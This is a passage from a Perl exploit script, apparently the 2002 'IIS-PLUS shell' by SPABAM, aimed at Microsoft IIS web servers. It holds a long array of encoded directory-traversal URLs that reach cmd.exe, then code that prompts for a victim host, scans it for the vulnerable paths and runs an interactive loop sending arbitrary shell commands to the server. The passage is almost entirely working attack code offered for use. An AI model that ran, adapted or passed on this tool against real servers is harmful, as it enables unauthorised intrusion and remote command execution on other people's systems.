  315. $U[295] = "/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
  316. $U[296] = "/iisadmpwd/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
  317. $U[297] = "/iisadmpwd/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  318. $U[298] = "/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
  319. $U[299] = "/iisadmpwd/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+";
  320. $U[300] = "/includes/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  321. $U[301] = "/msadc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
  322. $U[302] = "/msadc/..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
  323. $U[303] = "/msadc/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+";
  324. $U[304] = "/msadc/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
  325. $U[305] = "/msadc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
  326. $U[306] = "/msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+";
  327. $U[307] = "/msadc/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+";
  328. $U[308] = "/msadc/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+";
  329. $U[309] = "/_mem_bin/..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
  330. $U[310] = "/_mem_bin/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+";
  331. $U[311] = "/_mem_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+";
  332. $U[312] = "/_mem_bin/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
  333. $U[313] = "/_mem_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+";
  334. $U[314] = "/_vti_bin/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
  335. $U[315] = "/msadc/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+";
  336. $U[316] = "/msadc/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
  337. $U[317] = "/msadc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
  338. $U[318] = "/msadc/..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
  339. $U[319] = "/msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+";
  340. $U[320] = "/msadc/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+";
  341. $U[321] = "/msadc/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
  342. $U[322] = "/msadc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
  343. $U[323] = "/msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+";
  344. $U[324] = "/msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt./system32/cmd.exe?/c+";
  345. $U[325] = "/msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
  346. $U[326] = "/msadc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
  347. $U[327] = "/msadc/..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
  348. $U[328] = "/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
  349. $U[329] = "/msadc/..%c1%8s../..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+";
  350. $U[330] = "/msadc/..%c1%8s../winnt/system32/cmd.exe?/c+";
  351. $U[331] = "/msadc/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+";
  352. $U[332] = "/msadc/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+";
  353. $U[333] = "/msadc/..%c1%9c../winnt/system32/cmd.exe?/c+";
  354. $U[334] = "/msadc/..%c1%9c/winnt/system32/cmd.exe?/c+";
  355. $U[335] = "/msadc/..%c1%af../..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+";
  356. $U[336] = "/msadc/..%c1%af../winnt/system32/cmd.exe?/c+";
  357. $U[337] = "/msadc/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+";
  358. $U[338] = "/msadc/..%c1%pc../winnt/system32/cmd.exe?/c+";
  359. $U[339] = "/msadc/..%e0%80%af../winnt/system32/cmd.exe?/c+";
  360. $U[340] = "/msadc/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+";
  361. $U[341] = "/msadc/..%f0%80%80%af../winnt/system32/cmd.exe?/c+";
  362. $U[342] = "/msadc/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+";
  363. $U[343] = "/msadc/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+";
  364. $U[344] = "/msadc/..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+";
  365. $U[345] = "/msadc/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+";
  366. $U[346] = "/msadc/..%u0025%u005c..%u0025%u005cwinnt/system32/cmd.exe?/c+";
  367. $U[347] = "/msadc/..%u00255c..%u005cwinnt/system32/cmd.exe?/c+";
  368. $U[348] = "/msadc/..%u002e..%u002e/winnt/system32/cmd.exe?/c+";
  369. $U[349] = "/msadc/..%u002f..%u002fwinnt/system32/cmd.exe?/c+";
  370. $U[350] = "/msadc/..%u005c..%u005cwinnt/system32/cmd.exe?/c+";
  371. $U[351] = "/_mem_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+";
  372. $U[352] = "/_mem_bin/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
  373. $U[353] = "/_mem_bin/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
  374. $U[354] = "/_mem_bin/..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
  375. $U[355] = "/_mem_bin/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+";
  376. $U[356] = "/_mem_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?./c+";
  377. $U[357] = "/_mem_bin/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
  378. $U[358] = "/_mem_bin/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
  379. $U[359] = "/_mem_bin/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+";
  380. $U[360] = "/_mem_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+";
  381. $U[361] = "/_mem_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
  382. $U[362] = "/_mem_bin/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
  383. $U[363] = "/_mem_bin/..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
  384. $U[364] = "/_mem_bin/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
  385. $U[365] = "/_mem_bin/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
  386. $U[366] = "/_mem_bin/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
  387. $U[367] = "/_mem_bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  388. $U[368] = "/_mem_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+";
  389. $U[369] = "/_mem_bin/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  390. $U[379] = "/_mem_bin/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  391. $U[371] = "/_mem_bin/..%255c..%255cwinnt/system32/cmd.exe?/c+";
  392. $U[372] = "/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+";
  393. $U[373] = "/_mem_bin/..%255c../winnt/system32/cmd.exe?/c+";
  394. $U[374] = "/_mem_bin/..%c0%9v../..%c0%9v../..%c0%9v../winnt/system32/cmd.exe?/c+";
  395. $U[375] = "/_mem_bin/..%c0%9v../winnt/system32/cmd.exe?/c+";
  396. $U[376] = "/_mem_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+";
  397. $U[377] = "/_mem_bin/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+";
  398. $U[378] = "/_mem_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+";
  399. $U[379] = "/_mem_bin/..%c0%af../winnt/system32/cmd.exe?/c+";
  400. $U[380] = "/_mem_bin/..%c0%qf../..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+";
  401. $U[381] = "/_mem_bin/..%c0%qf../winnt/system32/cmd.exe?/c+";
  402. $U[382] = "/_mem_bin/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+";
  403. $U[383] = "/_mem_bin/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+";
  404. $U[384] = "/_mem_bin/..%c1%1c../winnt/system32/cmd.exe?/c+";
  405. $U[385] = "/_mem_bin/..%c1%8s../..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+";
  406. $U[386] = "/_mem_bin/..%c1%8s../winnt/system32/cmd.exe?/c+";
  407. $U[387] = "/_mem_bin/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+";
  408. $U[388] = "/_mem_bin/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+";
  409. $U[389] = "/_mem_bin/..%c1%9c../winnt/system32/cmd.exe?/c+";
  410. $U[390] = "/_mem_bin/..%c1%9c/winnt/system32/cmd.exe?/c+";
  411. $U[391] = "/_mem_bin/..%c1%af../..%c1%af../..%c1%af../winnt/system32/cmd.exe?/c+";
  412. $U[392] = "/_mem_bin/..%c1%af../winnt/system32/cmd.exe?/c+";
  413. $U[393] = "/_mem_bin/..%c1%pc../..%c1%pc../..%c1%pc../winnt/system32/cmd.exe?/c+";
  414. $U[394] = "/_mem_bin/..%c1%pc../winnt/system32/cmd.exe?/c+";
  415. $U[395] = "/_mem_bin/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/system32/cmd.exe?/c+";
  416. $U[396] = "/_mem_bin/..%e0%80%af../winnt/system32/cmd.exe?/c+";
  417. $U[397] = "/_mem_bin/..%f0%80%80%af../..%f0%80%80%af../..%f0%80%80%af../winnt/system32/cmd.exe?/c+";
  418. $U[398] = "/_mem_bin/..%f0%80%80%af../winnt/system32/cmd.exe?/c+";
  419. $U[399] = "/_mem_bin/..%f8%80%80%80%af../..%f8%80%80%80%af../..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+";
  420. $U[400] = "/_vti_bin/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
  421. $U[401] = "/_vti_bin/..%%35%63..%%35%63winnt/system32/cmd.exe?/c+";
  422. $U[402] = "/_vti_bin/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+";
  423. $U[403] = "/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+";
  424. $U[404] = "/_vti_bin/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
  425. $U[405] = "/_vti_bin/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+";
  426. $U[406] = "/_vti_bin/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+";
  427. $U[407] = "/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+";
  428. $U[408] = "/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
  429. $U[409] = "/_vti_bin/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
  430. $U[410] = "/_vti_bin/..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+";
  431. $U[411] = "/_vti_bin/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+";
  432. $U[412] = "/_vti_bin/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
  433. $U[413] = "/_vti_bin/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+";
  434. $U[414] = "/_vti_bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  435. $U[415] = "/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+";
  436. $U[416] = "/_vti_bin/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  437. $U[417] = "/_vti_bin/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+";
  438. $U[418] = "/_vti_bin/..%255c..%255cwinnt/system32/cmd.exe?/c+";
  439. $U[419] = "/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+";
  440. $U[420] = "/_vti_bin/..%255c../winnt/system32/cmd.exe?/c+";
  441. $U[421] = "/_vti_bin/..%c0%9v../winnt/system32/cmd.exe?/c+";
  442. $U[422] = "/_vti_bin/..%c0%af../winnt/system32/cmd.exe?/c+";
  443. $U[423] = "/_vti_bin/..%c0%qf../..%c0%qf../..%c0%qf../winnt/system32/cmd.exe?/c+";
  444. $U[424] = "/_vti_bin/..%c0%qf../winnt/system32/cmd.exe?/c+";
  445. $U[425] = "/_vti_bin/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+";
  446. $U[426] = "/_vti_bin/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+";
  447. $U[427] = "/_vti_bin/..%c1%1c../winnt/system32/cmd.exe?/c+";
  448. $U[428] = "/_vti_bin/..%c1%8s../..%c1%8s../..%c1%8s../winnt/system32/cmd.exe?/c+";
  449. &intro;
  450. &scan;
  451. &choose;
  452. &command;
  453. &exit; 
  454. sub intro {
  455. &help;
  456. &host;
  457. &server;
  458. sleep 3;
  459. };
  460. sub host {
  461. print "\nHost or IP : ";
  462. $host=<STDIN>;
  463. chomp $host;
  464. if ($host eq ""){$host="127.0.0.1"};
  465. print "\nPort (enter to accept 80): ";
  466. $port=<STDIN>;
  467. chomp $port;
  468. if ($port =~/\D/ ){$port="80"};
  469. if ($port eq "" ) {$port = "80"};
  470. };    
  471. sub server {
  472. my $X;
  473. print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
  474. print "\nGet IIS string ...";
  475. $probe = "string";
  476. my $output;
  477. my $webserver = "something";
  478. &connect;
  479. for ($X=0; $X<=10; $X++){
  480.     $output = $results[$X];
  481.     if (defined $output){
  482.     if ($output =~/IIS/){ $webserver = "iis" };
  483.     };
  484. };
  485. if ($webserver ne "iis"){
  486. print "\a\a\n\nWARNING : UNABLE TO GET IIS STRING.";        
  487. print "\nThis Server may not be running Micro\$oft IIS WebServer";
  488. print "\n\n\nContinue anyway? ... [Y/N]";
  489. my $choice = <STDIN>;
  490. chomp $choice;
  491. if ($choice =~/N/i) {&exit};
  492.             }else{
  493. print "\n\nOK";
  494.     };        
  495. };  
  496. sub scan {
  497. my $status = "not_vulnerable";
  498. print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
  499. print "\nScanning $host on port $port ...";
  500. my $loop;
  501. my $output;
  502. my $flag;
  503. $command="dir";
  504. for ($loop=1; $loop < @U; $loop++) { 
  505. $flag = "0";
  506. $url = $U[$loop];
  507. $probe = "scan";
  508. &connect;
  509. foreach $output (@results){
  510. if ($output =~ /Directory/) {
  511.                               $flag = "1";
  512.                   $status = "vulnerable";
  513.                   };
  514.     };
  515. if ($flag eq "0") { 
  516. print "\nNo URL $loop...";
  517. }else{
  518. print "\a\a\a\n$host VULNERABLE TO URL $loop !!!";
  519.      };
  520. };
  521. if ($status eq "not_vulnerable"){
  522.                 print "\n\n
  523.  
  524.  
  525.  
  526.  
  527.  
  528.  
  529.  
  530.  
  531.  
  532.  
  533.  
  534.  
  535.  
  536.  
  537.  
  538.  
  539.  
  540.  
  541.  
  542.  
  543.  
  544.  
  545.  
  546.  
  547.  
  548.  
  549.  
  550.  
  551.  
  552.  
  553.  
  554.  
  555.  
  556.  
  557.  
  558.  
  559.  
  560.  
  561.  
  562.  
  563.  
  564.  
  565.  
  566.  
  567.  
  568.  
  569.  
  570.  
  571.  
  572.  
  573.  
  574. SORRY $host is NOT Vulnerable to this Exploit.";
  575.                 &exit;
  576.                 };
  577. }; 
  578. sub choose {
  579. print "\nSelect a URL (type 0 to input)";
  580. my $choice=<STDIN>;
  581. chomp $choice;
  582. if ($choice > @U){ &choose };
  583. if ($choice =~/\D/g ){ &choose };
  584. if ($choice == 0){ &other };
  585. $url = $U[$choice];
  586. print "\nURL: HTTP://$host$url"; 
  587. }; 
  588. sub other {
  589. print "\nURL [minus command] eg: HTTP://$host\/scripts\/cmd.exe?\/+"; 
  590. print "\nHTTP://$host";
  591. my $other = <STDIN>;
  592. chomp $other;
  593. $U[0] = $other;
  594. };  
  595. sub command {
  596. while ($command !~/quit/i) {
  597. print "\nHELP QUIT URL SCAN Or Command eg dir C: ";
  598. print "\nCommand :";
  599. $command = <STDIN>;
  600. chomp $command;
  601. if ($command =~/quit/i) { &exit };
  602. if ($command =~/url/i) { &choose }; 
  603. if ($command =~/scan/i) { &scan };
  604. if ($command =~/help/i) { &help };
  605. $command =~ s/\s/+/g; 
  606. print "HTTP://$host$url$command";
  607. $probe = "command";
  608. if ($command !~/quit|url|scan|help/) {&connect};
  609. };
  610. &exit;
  611. };  
  612. sub connect {
  613. my $connection = IO::Socket::INET->new (
  614.                 Proto => "tcp",
  615.                 PeerAddr => "$host",
  616.                 PeerPort => "$port",
  617.                 ) or die "\nSorry UNABLE TO CONNECT To $host On Port $port.\n";
  618. $connection -> autoflush(1);
  619. if ($probe =~/command|scan/){
  620. print $connection "GET $url$command HTTP/1.0\r\n\r\n";
  621. }elsif ($probe =~/string/) {
  622. print $connection "HEAD / HTTP/1.0\r\n\r\n";
  623. };
  624.  
  625. while ( <$connection> ) { 
  626.             @results = <$connection>;
  627.              };
  628. close $connection;
  629. if ($probe eq "command"){ &output };
  630. if ($probe eq "string"){ &output };
  631. };  
  632. sub output{
  633. print "\nOUTPUT FROM $host. \n\n";
  634. my $display;
  635. if ($probe eq "string") {
  636.             my $X;
  637.             for ($X=0; $X<=10; $X++) {
  638.             $display = $results[$X];
  639.             if (defined $display){print "$display";};
  640.             sleep 1;
  641.                 };
  642.             }else{
  643.             foreach $display (@results){
  644.                 print "$display";
  645.                 sleep 1;
  646.                 };
  647.                           };
  648. };  
  649. sub exit{
  650. print "\n\n\n
  651.  
  652.  
  653.  
  654. ANDREA SPABAM 2002.";
  655. print "\nspabam.da.ru spabam\@go.to";
  656. print "\n\n\n";
  657. exit;
  658. };
  659. sub help {
  660. print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
  661. print "\n
  662.  
  663.         IIS-PLUS shell v 3.5.1 by SPABAM. 2002. spabam\@yahoo.com";
  664. print "\n
  665.  
  666.  
  667. ";
  668. print "\n A IIS HTTP exploit for Micro\$oft WebServers using 450 URL.";
  669. print "\n 
  670. note.. web directory is normally c:\\Inetpub\\wwwroot";
  671. print "\n";
  672. print "\n Host: www.victim.com or xxx.xxx.xxx.xxx (RETURN for 127.0.0.1)";
  673. print "\n port: 80 (normally) or other (like https) (RETURN for 80)";
  674. print "\n Command: SCAN URL HELP QUIT";
  675. print "\n\n\n";
  676. };